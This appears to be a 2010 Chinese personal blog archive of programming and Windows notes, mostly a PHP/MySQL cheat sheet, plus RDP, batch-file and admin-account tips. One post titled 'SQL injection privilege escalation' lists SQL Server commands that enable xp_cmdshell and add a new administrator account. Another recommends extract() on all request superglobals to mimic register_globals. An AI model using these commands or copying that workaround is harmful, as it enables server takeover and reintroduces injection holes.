11月 27, 2010
修改預設埠『3389』埠
Windows XP『遠端桌面』功能預設以編號3389連接埠作訊息傳輸,但可因應需要而進行修改︰啟動Regedit,到路徑HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp中DWORD值PortNumber,把數值由3389改為任何的數值便可,然後重新開機。
11月 26, 2010
11月 25, 2010
php大全
<?php
#單行註解
//也是註解
/*變數宣告跟方法和類別名稱有區分大小寫
變數可用_開頭但不能用數字和中文
*/
$a與$A不同
$id =2;
$uu = 2+3*9;
$gg = "hi";
$tt = true;
只要在方法內的變數就是區域變數
在方法之外的都是全域變數
static $msg; //此為靜態變數且不會消失
global $msg = "hh";
$GLOBALS['msg'] = "hh";// 這2種方法皆能將區域變數轉為全域變數
echo $msg.$GLOBALS['msg'];
$_SESSION
$_FILES
$_REQUEST
//常數
define (PI,3.14,True)//True是否區分大小寫
echo "HI"//輸出內容
$n1 = 10
$n2 = 010 //8進位
$n3 = 0x10 //16進位
/*字串表示建議用""否則使用''可能需要用到跳脫字元\'
來表示'和\符號
而且''會將變數視為字串
而""會視為變數
定界符號法
$string = <<<msg-<自訂名稱
此內容可存放任何符號
msg;
echo $string;
自訂名稱頭和結尾的該行不能有任何字元且包括空白字元
*/
echo $a.$b //連結不是用+和&而是用.
可用$a+=1和
$i++
$i--
比較運算子
$a == $b //2者相等成立
=== //2者相等且型別相同成立 使法用於數值跟字串比較時會回傳False
!== //不等於
!=== //同上且型別不同成立
<=<和>=>
條件運算子
簡短結構法
$a =2;
$b = ($a>0)?"正數":"負數";
邏輯運算子有and && 和 or ||和xor和!$a表示相反
&& ||優先於and or
$error = @hhh //@可以隱藏錯誤訊息
指令運算子
$myip = `ping google.tw`
echo nl2br($myip);//nl2br()回將結果分行輸出
須注意php.ini的safe_mode = on才能執行
表單資料傳送
<form method="POST" action="form1.php">
請輸入姓名:<input type="text" name="username">
<input type="submit" value="送出資料">
</form>
method="POST" 和 "GET" //GET為預設且只支援ASCII
GET是使用參數傳遞
POST是使用HTTP標頭的封包傳遞
使用GET就必須用$_GET["欄位名稱"]去接值
使用POST就必須用$_POST["欄位名稱"]去接值
接收複數值的用法
<select name="item[]" //這邊加入[]表示用陣列>
</select>
接收頁就用
foreach($_GET["item"] as $value){
echo $value."<br />"
}
模組式開發
定義add.php
fubction add($a,$b){
$result = $a+$b;
return $result;
}
接著在別頁
include "add.php";
echo add(5,3);
require "add.php";
echo add(5,3);
include 會回傳值且會發生錯誤會繼續執行//適合在迴圈中使用
require 不會回傳值且發生錯誤會中斷//頻率高建議用
另外建議用include_once與require_once可避免重複載入問題
引入檔的名稱雖可用其他副檔名但還是建議用php
引入檔案的路徑問題則是以引入該檔案的頁面路徑為主
不必在意引入檔的位置
流程控制
if () echo"hi";
if (){ }else{ }
if () { }elseif(){ }else{ }
switch ($a = "dog"){
case "dog":
echo "YES";
break; //中斷並跳出
case "cat":
echo "NO";
continue; //略過並繼續
default:
echo "完成!";
}
迴圈
while($a<10){$a++;echo $a."nbsp;";}//可輸出1到10
先執行一次
do{
}while()
for($i=1;$i<10;$i++){
}
函式也叫做方法
function name($rr = 0,$tt = 0){//另外方法內的參數需要有預設值
echo "hi".$rr;
return $tt;
}
aa();
或aa($b,$gg);
或先$tt = 99;
aa($tt);
傳址呼叫需在變數前加上&
譬如aa(&$tt);
則$tt的值會跟著改變
方法的多載
function showdata(){
$i=func_num_args(); //取得參數個數
if($i==0){ echo "no data";
}else{
echo "有這些資料";
$data = func_get_args(); //將參數陣列化
foreach ($data as $value){echo $value;}
}
}else{ echo "最後一筆為:".func_get_arg($i-1);} //取得最後一個參數
}
可變動函式-利用變數來呼叫方法
function text(){echo "hi";}
$YY = "text";//字串名稱必須跟方法名稱相同
$YY();//呼叫text();
要檢查方法是否存在用function_exists($YY)
遞迴觀念
function show($num){
if($num == 0){
return 1;
}else{
return $num * show($num-1);
}
}
show(5);
遇到return 5 * show(5-1)時先計算show(5-1)也就是show($num-1)的方法
會計算的地方如下
當show(5-1)會跑到show(4-1)在跑到show(3-1)和show(2-1)跟show(1-1)
注意此時show(1-1)已經為0
於是回到
show(2-1)
他的return 2 * 1 //<--變成2 * 1
然後跑回show(3-1)
return 3 * 2 //<--變成6
再跑回show(4-1)
return 4 * 6 //<--變成24
再跑回原本的show(5-1)
return 5 * 24 //=120
懂了嗎??麻煩的遞迴= ="
rand(0,5);//隨機亂數從0~5
其他方法請參考php官方網站
使用mail()方法寄信
首先請設定php.ini
找到[mail function]
;for win32 only.
smtp = localhost //設定位址
smtp_port = 25 //port號
範例
mail("x@x.xx.com.tw","標題","內容");
其他上網查...
頁面重新導向
header("Location: http://google.tw");//轉向指定網站
頁面重整
header("Refresh: 5");//表示5秒重整一次
設定編碼方式
header("Content-type: text/html; charset=utf-8");
錯誤訊息
die("錯誤");
exit("錯誤");//失敗時出現錯誤訊息...=try catch
延遲方式
sleep(10);//延遲10秒
isset($a);//測試變數是否存在
unset($a);//刪除定義的變數
php的陣列不需要事先宣告且能容許不同的資料型別
所以可以直接這要使用
$a[] = 1; //等於$a[0] = 1;
$a[] = 2; //等於$a[1] = 2;
若是
$b[5] = 1;
$b[] = 2; //等於$b[6] = 2;
$b[] = 3; //等於$b[7] = 3;
也可以不照順序指定索引
$c[] = 1; //等於$c[0] = 1;
$c[] = 2; //等於$c[1] = 2;
$c[5] = 3;
$c[7] = 4;
強大的字串陣列
$d['name'] = "jack";
$d['age'] = 17;
echo "姓名是.{$d['name']}";//字串中必須加上大括號且不可有空白
否則請拆開來用"姓名是".$d['name']
短碼陣列法
$my = array(1,2,3);//等於宣告$my[0]=1 & $my[1]=2 & $my[2]=3
$my2 = array(2=>1,2,5=>3,7=>4);//等於宣告如下
$my[2]=1;
$my[3]=2;
$my[5]=3;
$my[7]=4;
字串陣列短碼
$std = array("name"=>"jack","age"=>17);等於如下
$std['name'] = "jack";
$std['age'] = 17;
二維陣列
$std = array(0=>array(0=>1,1=>2),'name'=>array(0=>'jack','age'=>17));
一維陣列崁入法
$std1=array(78,88,99);
$std2=array(44,55,66);
$s=array($std1,$std2);//變成2維陣列了
依序取用陣列
foreach (陣列名稱 as $value){內容}
取用陣列個數
$num=count(陣列名稱);
叫出索引值法
foreach(陣列名稱 as $index => $value){}
顯示陣列
print_r()//只能1個
var_dump()//可多個
is_array()//判斷是否是陣列
array_count_values()//判斷元素的重複次數
array_sum()//加總陣列
htmlspecialchars($ff);//輸出成HTML
取得日期
getdate()
date("Y-m-d H:i:s")
gmdate()//依據格林威治
檔案處理
$_SERVER["PHP_SELF"]//取得目前網頁的相對路徑
$_SERVER["SCRIPT_FILENAME"]//取得目前網頁的絕對路徑
realpath(相對路徑)//取得絕對路徑
dirname()//取得檔案路徑不包括檔名
basename(__FILE__)//目前檔名-__FILE__是預設常數表示目前執行文件的檔名
basename(__FILE__ ,php)可去除副檔名
路徑資訊
pathinfo(路徑,PATHINFO_DIRNAME)//路徑
pathinfo(路徑,PATHINFO_BASENAME)//檔名+副檔名
pathinfo(路徑,PATHINFO_EXTENSION)//副檔名
pathinfo(路徑,PATHINFO_FILENAME)//檔名
檔案上傳法
修改php.ini
file_upload = On
upload_tmp_dir = 暫存路徑
upload_max_filesize = 8M
<form action="要處裡的php" method="post" enctype="multipart/form-data">
<input type="file" name="fileupload">
<input type="submit" value="送出資料">
</form>
if($_FILE["欄位名稱fileupload"]["error"]==0){
if(move_uploaded_file($_FILES["fileupload"]["tmp_name"],"./".$FILES["fileupload"]["name"])){
echo 'succes'
echo $_FILES["fileupload"]["name"]
}
}
多檔案上傳法
<input type="file" name="up[]">
$i=count($_FILES["up"]["name"]);
for($j=0;$j<$i;$j++){
if($_FILEs["up"]["error"][$j]==0){
if(move_uploaded_file($_FILES["up"]["tmp_name"][$j],"./".$_FILES["up"]["name"][$j]."good"))
}else{
echo 'error!'
}
}
設定cookie
setcookie("名稱",'內容',time()+3600)//只有1小時或用
setcookie('gg','yy',strtotime("2008-12-13-23-59-10"))
$_COOKIE["名稱"]
也可用陣列
setcookie("ggg[0]",1)
setcookie("ggg[1]",'jack')
$_COOKIE["ggg"][0]
設定session
只要任何一頁有用到都必須先session_start();
$_session["name"] = "jack";
陣列版
$_session["gg"][0] = 1
$_session["gg"][1] = 2
unset($_session[名稱])//刪除此session
session_unset()//刪除所有session
php.ini改session有效時間預設24分鐘
session.gc_maxlifetime = 1440 24個1分鐘 * 60秒
物件化
class aaa{
var $a = 0;
var $b;
function b(){
}
function __construct(){//建構方法 任何初始化都會先執行的方法}
}
$abc =new aaa;
$abc->b = 9;
$abc->b();
物件參數化
class rrr{
var $a;
var $b;
function set($id,$name){
$this->a = $id;
$this->b = $name;}
function __construct($aa){//建構方法帶參數
echo $aa."你好!";
}
function __destruct(){//解構方法會在結束後執行不可帶參數
echo 'end';
}
}
$std = new rrr;
$std->set("gg","bb");
$std1 = new rrr('jack');//帶參數叫用
$std1 = null;//要刪除才會執行解構方法
類別靜態成員和方法
class ttt{
static public $id = 10;
static function show(){
}
static function show($id){
echo $id."hi";
}
}
用法:
ttt::$id;
ttt::show();
ttt::show("jack");
類別常數
const pi=3.14; //要注意不加$
用法:
同類別
self::pi
不同類別
ttt::pi
繼承:
class child extends father{}
如此一來
child類別可以用$this->加上父類別具有public和protected的屬性和方法去使用
複寫會以子類別為主
所以同名稱的方法經由子類別重新定義後會以子類別為主
然而父類別的方法和成員依然存在
此時要用到父類別的成員或方法可以用
parent::$id;
parent::show();
MYSQL資料庫基礎
資料庫編碼請以utf8_unicode_ci為準
型別以int跟double為主
文字以varchar為主
時間以datetime為主
NOW()日期函數
count(*)計次
group by 非統計欄位都必須加入才行
having //如果在group by之後需要條件式就不能用where要用having
多資料表查詢
不用join法的前提是2個資料表必須要有共同的欄位內容做關聯
select *
from tableA,TableB
where TableA.相關欄位 = TableB.相關欄位
使用join
select *
from a inner join b
on a.colume = b.colume
或是
select *
from a inner join b
using [colume]
限制查詢筆數
select *
from table
order by id
limit 0,5 //開始顯示的筆數是0可以省略,要顯示的筆數
PHP連線MYSQL
mysql_connect(mysql位址,帳號,密碼)EX:
mysql_connect("localhost","root","1234")
$db = mysql_connect("192.168.0.55","root","1234")
if(!$db){失敗}else{成功}
程式碼執行完便會自動mysql_close()
mysql_pconnect("192.168.0.55","root","1234")
會一直連線且不能用mysql_close()
好處是會檢查連線是否存在而不會重複開啟連線
加入@可以避免錯誤訊息顯示
die()可以終止後面的程式繼續執行
字元編碼統一宣告必須在資料庫連線後
mysql_query("SET NAMES utf8");
設計引入檔
<?php
$db = @mysql_connect("192.168.5.5","root","1234");
if(!$db) die("連線失敗");
mysql_query("SET NAMES utf8");
@mysql_select_db("資料庫名稱")
?>
接著傳入SQL語句
$result = mysql_query("select * from `tableA`");
$result = mysql_db_query(資料庫名稱,"select * from `tableA`");//不同資料庫時用
取得資料-整數為索引
while($row_result=mysql_fetch_row($result)){
foreach($row_result as $item=>$value){
each $item.$value
}
}
欄位為索引
mysql_fetch_assoc($result);
$row_result["name"]
陣列法
mysql_fetch_array($result);
$row_result[0][1]
$row_result["name"][1]
mysql_num_rows($result);//查資料筆數
指標紀錄
mysql_data_seek($result,4);
$row_result=mysql_fetch_array($result);
只會顯示第5筆資料
分頁程式
$page = 3;//每頁比數
$dpage = 1; //預設頁數
if(isset($_GET['page'])){
$dpage = $_GET['page'];
}
//紀錄比數
$spage = ($dpage - 1) * $page;
$sql_query = "select * from db";
$sql_query_limit = $sql_query."LIMIT ".$spage.$page;
$result = mysql_query($sql_query_limit);
$allresult = mysql_query($sql_query);
$total=mysql_num_rows($allresult);
$totalpage=ceil($total/$page);
<table border="1" align="center">
<tr>
<th>欄位名稱</th>
</tr>
<?php
while($row_result=mysql_fetch_assoc($result)){
echo "<tr>";
echo "<td>".$row_result["欄位名稱"]."</td>";
echo "<td><a href='update.php?id=".$row_result["欄位名稱"].">修改</a></td></tr>";
}
?>
<?php
if(dpage>1){
<td><a href="data.php?page=1">第一頁</a></td>
<td><a href="data.php?page=<? echo $dpage-1; ?>">上一頁</a></td>
if($dpage<$totalpage){
<td><a href="data.php?page=<? echo $dpage+1; ?>">下一頁</a></td>
<td><a href="data.php?page=<? echo $totalpage; ?>">最後一頁</a></td>
}
?>
頁數
<?
<td>
for($i=1;$i<=$totalpages;$i++){
if($i==$dpage){
echo $i." ";
}else{
echo "<a href=\"data.php?page=$i\">$i</a>";
}
}
</td>
?>
</table>
?>
11月 24, 2010
register_globals於PHP6後不支援之排除法
Warning: Directive register_globals is deprecated in PHP 5.3 and greater in Unknown on line 0
去查了一下才知,原來PHP 中最具爭議的變化就是從 PHP 4.2.0 版開始配置檔中 register_globals 的預設值從 on 改為 off 了,而在5.3版本後就會顯示警告,但還是能開啟使用,但在PHP 6 之後就會全面停用。
哈~因為有register_globals,所以小弟覺得各家程式語言之中,PHP最強大,因為程式隨便寫都能執行~^^||
也可以設定成不用接參數,到了下一頁自動會轉成變數,這對開發者來說是省了不少功夫,不過也是因為如此,所以程式就不夠嚴謹,而且還會有安全性的問題,所以還是乖乖使用比較正統的方式寫CODE 吧 ~><~
註:如果想知道為何會不安全,請看以下連結說明:
http://por.tw/Website_Design/PHP5/security.globals.html
除了 register_globals之外,當然也還有幾個參數也準備廢除,如下:
register_long_arrays
magic_quotes_gpc
magic_quotes_gpc這參數也頂棒的~可以不用去管是不是要加反斜線~唉~這也是安全性的考量要拿掉嗎? 怪的~去查了一下,拿掉主要因素不一樣啦~~是因為會影響程式造成可移移植性低、效能問題及容易造成困惑,詳細請看以下的文章:
http://www.ihacklog.com/php/security_optimization/magic_quotes_gpc-and-safe_mode-in-php.html
不過這些參數,舊程式蠻都有介由他們進行自動轉換,沒了程式不就要大改了..呵~~好在還有偷吃步的方式,在 register_globals=Off的情況下,還是可以用以下程式碼達到同等效果。
<?php
if (!ini_get('register_globals'))
{
extract($_POST);
extract($_GET);
extract($_SERVER);
extract($_FILES);
extract($_ENV);
extract($_COOKIE);
if ( isset($_SESSION) )
{
extract($_SESSION);
}
}
?>
這樣只要加到會include的共用頁這樣就升級程式支援該參數被關掉了~^^
而magic_quotes_gpc被關掉也有解法,有興趣的人可以看剛剛上面那個連結,只是沒這個好改了!!
11月 23, 2010
11月 22, 2010
Vista/Win7叫出administrator
到 Start -> Accessory -> command prompt. 此時按右鍵,選 run as administrator,這樣就大功告成了。//對CMD調用提權
打入 net user administrator /active:yes
11月 21, 2010
11月 20, 2010
SQL 注入提權
遇到 sql server 2005 ,恢復xp_cmdshell的辦法:
開啟XP_cmdshell:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure
'xp_cmdshell', 1;RECONFIGURE;
開啟'OPENROWSET':
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure
'Ad Hoc Distributed Queries',1;RECONFIGURE;
開啟'sp_oacreate':
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure
'Ole Automation Procedures',1;RECONFIGURE;
EXEC master..xp_cmdshell 'net user abc 1234 /add'
EXEC master..xp_cmdshell 'net localgroup administrators zk /add'
--net user abc /del --刪除
--結束
11月 19, 2010
批次檔bat大全
set /a a=1+3 /+a才可數值運算
set b=1+3 /字串
set s=hi
@echo %args% /輸出方式
@echo %a%
@echo %b%
@echo %s%
for %%g in (*.wma) do echo hi! /必須要用2個% TRUE做DO
if not exist *.wma ( /下面為同一行,not=反向 exist + 檔名 = 比對是否有該檔案
pause
) ELSE ( /有的話!
echo no!
)
goto renamer //也可用%變數
:renamer
set old=%1
ren %1 "%old:~9%,1000% //切掉前面9個字,另外那個逗號後的1000和前面的"可以不打!
/跳到此
call + 批次檔名稱 /呼叫外部批次檔